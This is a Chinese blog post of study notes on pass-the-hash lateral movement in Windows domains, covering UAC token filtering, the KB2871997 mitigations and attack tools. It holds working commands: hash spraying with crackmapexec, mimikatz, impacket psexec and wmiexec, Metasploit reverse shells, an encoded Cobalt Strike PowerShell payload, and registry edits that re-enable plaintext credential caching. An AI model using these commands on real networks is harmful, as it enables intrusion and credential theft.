PTH原理 补丁+工具

顺着《域渗透攻防指南》4.9的总结记录下。

0x00 PTH简单说明

PTH在内网渗透中用于横向移动。由于NTLM && Kerberos都是采用用户密码的NTLM Hash,所以我们不需要非得拿用户明文口令,拿到hash一样可以。

拿到hash后,可以撞hash,找到相同口令的机子,也可以利用135或445端口pth,横向移动到对应密码的其它主机上。

而且>=windows server 2012的机子,默认都不会在内存中存储明文密码,所以pth就显得尤为重要。

0x01 本地账户和域账户 pth 的区别

这个问题最早是在看这篇文章看到的:PTH/横向的时候UAC的问题及解决 - zpchcbd - 博客园 (cnblogs.com)

刚好书上讲的也比较详细,对应都有实验截图,大致总结下。


1. 实验:

用了四个账户:

  • public_user:本地普通用户
  • test:本地管理员用户
  • administrator:本地管理员组用户
  • intranet\user:本地管理员组的域用户

实验发现:

本地普通用户和本地管理员组用户test的PTH失败;

本地管理员组和本地管理员组的域用户PTH成功。

2. 原因:UAC

这里不详细展开UAC的介绍。只需要知道:

  1. 内置本地管理员账户administrator在远程连接时,会获得完整的管理员凭证。
  2. 而本地管理员组的非RID500账户,得到的是删除了管理员凭证的token。
  3. UAC对本地管理员组的域用户无影响,会获得完整的管理员凭证。

3.FilterAdministratorToken

MS官方文档的注册表值介绍:在这里插入图片描述

关于Admin Approval Mode:管理员审批模式。

开启:即需要管理员特权运行的程序,需要得到用户的批准才能够获得提升权限。

关闭:内置账户Adminstrator拥有完全的权限管理所有的应用程序。

回到这个Filter,默认情况下是关闭的(值为0)。也就是说用内置管理员用户远程连接时不需要用户批准,就能够获得一个完全的令牌。

如果我们把值改为1,那么内置的本地管理员Administrator也无法PTH了,但是本地管理员组的域用户不受影响。

4. LocalAccountTokenFilterPolicy

上面提的是对于内置管理员的策略,现在看非RID500的本地管理员账户的策略。

MS给了 To disable UAC remote restrictions的方法:

LocalAccountTokenFilterPolicy注册表的值改为1即可。

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,只要在本地管理员组内,就能PTH远程连接了。

5. 总结

本地账户

  • Win VISTA以前,本地管理员组内即可。
  • 以后,默认只有内置管理员administrator才能PTH。

域用户

不受UAC影响。

  • 对于普通域内主机:该域主机本地管理员组内普通域用户即可;
  • 对于域控:域管理员组的用户。

0x02 哈希碰撞(工具)

内网中很多主机采用的相同密码,所以批量撞hash能扩大攻击面。

记录一些工具&&使用。

1. crackmapexec

kali自带。

批量撞网段:

crackmapexec 192.168.72.0/24 -u administrator -H LM_HASH:NTLM_HASH

2. MSF

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.0/24
set smuser administrator
set smbpass LM_HASH:NTLM_HASH

ps:貌似实战应该用正向监听的payload。

0x03 PTH工具

书上只写了3个,我就把以前总结的搬上来了。

1. mimikatz

域:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ntlm哈希" "exit"
dir \\dc.intranet.com\c$

workgroup:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:ntlm哈希" "exit"

注意,pth时可以直接在mimikatz中起命令(/run:cmd.exe)。比如pth后用mstsc rdp

privilege::debug
sekurlsa::pth /user:administrator /domain:intranet.com /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

2. psexec

impacket的psexec.py:

python psexec.py  administrator@10.73.147.29 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

PsExec.exe

看的说是impacket包里面的,不知道PSTools里面的行不行。

psexec.exe admin@10.73.147.30 -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de

3. wmiexec

也是impacket里的wmiexec.py

python wmiexec.py -hashes 624aac413795cdc1a5c7b1e00f780017:852a844adfce18f66009b4f14e0a98de administrator@10.73.147.29

4. crackmapexec (✨)

很强大的一个pth工具,kali自带。

当然,一般用的话都得proxychains代到内网。

crackmapexec smb 172.22.1.2 -u Administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

批量扫smb

crackmapexec smb 192.168.0.0/24 -t 255

可以批量pth。

crackmapexec smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de  -x "whoami"

批量CS上线

把cs中的ps payload粘过来

crackmapexec smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."

5. CobalStrike

这就太方便了。。。

拿到一个主机hash后,可以用wmic/psexec横向。

View Target添加目标:

在这里插入图片描述

选择 横向移动=>psexec

选择当前控制的机器为session,listener选择smb正向连接,凭证用前面拿到的。

在这里插入图片描述

Lauch即可成功上线。

6. MSF

exploit/windows/smb/psexec

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 192.168.72.138
set smbuser admin
set smbpass LM_HASH:NTLM_HASH

0x04 KB2871997补丁带来的影响

总结记录下。


这个补丁是MS为了缓解PTH的措施。

带来了三个新的安全保护机制:

  1. Protected Users组的支持
  2. Restricted Admin RDP模式远程客户端支持
  3. Pass The Hash增强保护。

1. Protected Users组的支持

win2012 server R2开始,引入了一个全局安全组——Protect Users。

对于这个全局安全组内的用户有额外的保护:

  1. 组内用户只能使用Kerberos协议认证。
  2. Kerberos协议只能AES加密类型进行pre-auth认证(加密时间戳)。一定程度缓解了AS_REPRoasting。
  3. 组内用户不能被委派

带来的影响就是,无法PTH了,因为Kerberos协议无法PTH(强制预认证采用AES)。

2. Restricted Admin RDP模式远程客户端支持

Restricted Admin RDP模式

Restricted Admin RDP模式增加了安全性以保护用户的凭据,但是此模式对Remote Desktop Users组内的用户不可用。(:?)

Restricted Admin RDP模式之前,RDP是必须要提供明文口令的。以这种方式登录到目标主机会将用户的凭据存储在目标主机的内存中,存在被盗的风险。

Restricted Admin RDP模式后,可以使用密码Hash来RDP登录,防止了明文口令存储在目标主机中。
要求必须是本地管理员用户

这种看似加强了安全防护(方式了明文口令被盗),但是无疑给了PTH的隐患。。。

本地管理员组内的非RID500用户也可以pth rdp登录。

How to pth rdp?

最常用的就是mimikatz,最早也是在mimikatz中接触到的 restrictedadmin

命令:

privilege::debug
sekurlsa::pth /user:win7 /domain:对应机子的IP /ntlm:NTLM_HASH "/run:mstsc.exe /restrictedadmin"

实验发现只要是本地管理员组的用户均可pth rdp登录,而普通本地用户则没有权限。

3. Pass The Hash增强保护

三个增强保护:

  1. 注销时清除凭据。

  2. 在LSASS内存中删除明文凭据。

    srds,可以修改UseLogonCredential注册表项来绕过补丁:

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    这样,即使安了补丁,修改注册表项后还是能抓到明文密码。

  3. 引入新的SID。

    两个:

    • LOCAL_ACCOUNT (S-1-5-113):所有本地账户继承此SID。
    • LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114):所有管理员组内的本地账户继承此SID。

    我的理解:引入这两个SID后,配置组策略时更加方便。比如防止本地账户远程连接主机,或者防止本地管理员组的非RID500账户pth远程连接,就可以用这两个SID来配置组策略。

4. KB2871997补丁总结

只能是缓解PTH。

对于本地工作组:

RID500不受影响,修改LocalAccountTokenFilterPolicy为1后,非RID的本地管理员组内成员也可以pth。

对于域环境:

ProtectedUsers全局安全组确实能够防范,但是需要管理员添加。对于非ProtecedUsers组的成员仍可以pth。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/884078.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【深度学习】03-神经网络01-4 神经网络的pytorch搭建和参数计算

# 计算模型参数,查看模型结构,我们要查看有多少参数,需要先安装包 pip install torchsummary import torch import torch.nn as nn from torchsummary import summary # 导入 summary 函数,用于计算模型参数和查看模型结构# 创建神经网络模型类 class Mo…

nginx+php+postgresql搭建漏洞靶场

经过我多番查找,最终得出一个结论,dvwa暂时不支持 postgresql 本文给大家提供一个思路,千万不要轻易模仿 更新系统包列表 首先,打开终端并更新你的系统包列表: sudo apt updatesudo apt upgrade -y安装必要的软件包 安装Nginx、PHP、PostgreSQL以及一些必要的PHP扩展:…

基于BeagleBone Black的网页LED控制功能(flask+gpiod)

目录 项目介绍硬件介绍项目设计开发环境功能实现控制LED外设构建Webserver 功能展示项目总结 👉 【Funpack3-5】基于BeagleBone Black的网页LED控制功能 👉 Github: EmbeddedCamerata/BBB_led_flask_web_control 项目介绍 基于 BeagleBoard Black 开发板…

搜索引擎onesearch3实现解释和升级到Elasticsearch v8系列(四)-搜索

搜索 搜索内容比较多,onesearch分成两部分,第一部分,Query构建,其中包括搜索词设置,设置返回字段,filter,高亮;第二部分分页和排序。第一部分是映射引擎负责,映射通用表…

HAL+M4学习记录_2

一、Boot配置 内存地址是固定的,代码从0x0000 0000开始,而数据从0x2000 0000开始,F4支持三种不同的boot模式 复位芯片时,在SYSCLK的第4个上升沿BOOT引脚值被锁存,STM32F407通过此时BOOT[1:0]引脚值选择Boot模式 BOOT1…

深度学习(入门)03:监督学习

1、监督学习简介 监督学习(Supervised Learning)是一种重要的机器学习方法,它的目标是通过“已知输入特征”来预测对应的标签。在监督学习中,每一个“特征-标签”对被称为样本(example),这些样…

物联网行业中模组的AT指令详解以及使用

01 概述 AT 命令(AT Commands)最早是由发明拨号调制解调器(MODEM)的贺氏公司(Hayes)为了控制 MODEM 而发明的控制协议。后来随着网络带宽的升级,速度很低的拨号 MODEM 基本退出一般使用市场&am…

【含文档】基于Springboot+Vue的高校师资管理系统(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 系统定…

深入理解 `torch.nn.Linear`:维度变换的过程详解与实践(附图、公式、代码)

在深度学习中,线性变换是最基础的操作之一。PyTorch 提供了 torch.nn.Linear 模块,用来实现全连接层(Fully Connected Layer)。在使用时,理解维度如何从输入映射到输出,并掌握其具体的变换过程,…

宠物空气净化器有必要买吗?希喂、霍尼韦尔和352哪款更推荐?

国庆假终于要来了,对于我这个上班族而言,除了春节假期最期待的就是这个国庆假,毕竟假期这么长,家里还有一只小猫咪,一直都没时间陪它,终于给我找到时间带它会老家玩一趟了。 我跟我妈说的时候,…

时序必读论文13|ICLR24 “又好又快”的线性SOTA时序模型FITS

论文标题:FITS: Modeling Time Series with 10k Parameters 开源代码:https://anonymous.4open.science/r/FITS/README.md 前言 FITS(Frequency Interpolation Time Series Analysis Baseline)这篇文章发表于ICLR2024&#xff…

鸿蒙开发(NEXT/API 12)【硬件(Pen Kit)】手写笔服务

Pen Kit(手写笔服务)是华为提供的一套手写套件,提供笔刷效果、笔迹编辑、报点预测、一笔成形和全局取色的功能。手写笔服务可以为产品带来优质手写体验,为您创造更多的手写应用场景。 目前Pen Kit提供了四种能力:手写…

C++入门day5-面向对象编程(终)

C入门day4-面向对象编程(下)-CSDN博客 本节是我们面向对象内容的最终篇章,不是说我们的C就学到这里。如果有一些面向对象的基础知识没有讲到,后面会发布在知识点补充专栏,全都是干货满满的。 https://blog.csdn.net/u…

2024-09-27 buildroot C和语言将 中文的GBK编码转换为 UTF-8 的代码, printf 显示出来,使用 iconv 库去实现。

一、GBK 的英文全称是 "Guobiao Kuozhan",意为 "National Standard Extended"。它是对 GB2312 编码的扩展,用于表示更多汉字和符号 GBK(国标扩展汉字编码)是一种用于简体中文和繁体中文字符的编码方式&#x…

Python 从入门到实战30(高级文件的操作)

我们的目标是:通过这一套资料学习下来,通过熟练掌握python基础,然后结合经典实例、实践相结合,使我们完全掌握python,并做到独立完成项目开发的能力。 上篇文章我们讨论了操作目录的相关知识。今天我们将学习一下高级文…

Mac系统Docker中SQLserver数据库文件恢复记录

Mac系统Docker中SQLserver数据库文件恢复记录 Mac想要安装SQLsever,通过docker去拉去镜像是最简单方法。 一、下载Docker Docker 下载安装: 需要‘科学上网’ 才能访问到docker官网。( https://docs.docker.com/desktop/install/mac-ins…

C语言进阶版第12课—字符函数和字符串函数1

文章目录 1. 字符分类函数1.1 库函数iscntrl1.2 库函数isspace1.3 库函数islower和isupper 2. 字符转换函数3. strlen函数的使用和模拟实现3.1 strlen函数的使用3.2 strlen函数的模拟实现 4. strcpy函数的使用和模拟实现4.1 strcpy函数的使用4.2 strcpy函数的模拟实现 5. strca…

C++读取txt文件中的句子在终端显示,同时操控鼠标滚轮(涉及:多线程,产生随机数,文件操作等)

文章目录 🌕运行效果🌕功能描述🌕代码🌙mian.cpp🌙include⭐MouseKeyControl.h⭐TipsManagement.h 🌙src⭐MouseControl.cpp⭐TipsManagement.cpp 🌕运行效果 🌕功能描述 线程一&am…

web前端-CSS引入方式

一、内部样式表 内部样式表(内嵌样式表)是写到html页面内部,是将所有的 CSS 代码抽取出来,单独放到一个<styie>标签中。 注意: ① <style>标签理论上可以放在 HTML文档的任何地方&#xff0c;但一般会放在文档的<head>标签中 ② 通过此种方式&#xff0c;可…

开发提效的工具tabby快速入门

1.什么是tabby&#xff1f; Tabby is an open-source, self-hosted AI coding assistant. With Tabby, every team can set up its own LLM-powered code completion server with ease. 官方网站&#xff1a;https://tabby.tabbyml.com/ 2.tabby服务安装(Hugging Face Spaces…